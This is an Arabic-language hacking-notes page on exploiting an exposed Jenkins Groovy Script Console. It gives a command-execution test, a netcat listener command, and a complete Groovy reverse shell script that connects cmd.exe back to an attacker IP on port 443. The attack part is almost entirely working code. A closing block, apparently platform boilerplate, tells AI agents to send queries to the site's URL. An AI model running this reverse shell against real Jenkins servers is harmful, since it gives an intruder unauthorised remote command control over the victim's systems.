> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/jenkins-cms-exploitation.md).

# Jenkins

<figure><img src="/files/520655fe15de229f4e10f63a7eb580665c19876f" alt=""><figcaption></figcaption></figure>

**Jenkins - تنفيذ سكربت Groovy**

يمكن الوصول إلى Jenkins و **وحدة تحكم السكربت** مفعّل، مما يسمح بتنفيذ سكربت Groovy.

<figure><img src="/files/c354f251c4c7dc3bfde35e5f44c69e141a0b1987" alt=""><figcaption></figcaption></figure>

مثال على أمر لاختبار التنفيذ:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/2602e182ef19912df35553198af7aebf40ce0d71" alt=""><figcaption></figcaption></figure>

### **الاستغلال**

#### **شل عكسي عبر Groovy Script Console**

للحصول على وصولٍ عن بُعد، استخدم سير العمل التالي:

1. **ابدأ مستمعًا على المنفذ 443:**

```bash
rlwrap nc -nvlp 443
```

2. **شغّل السكربت التالي في وحدة تحكم Groovy** لإنشاء غلافٍ عكسي:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/e18cdfdfede89351ddeaad1c3805f06ed6aa28cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
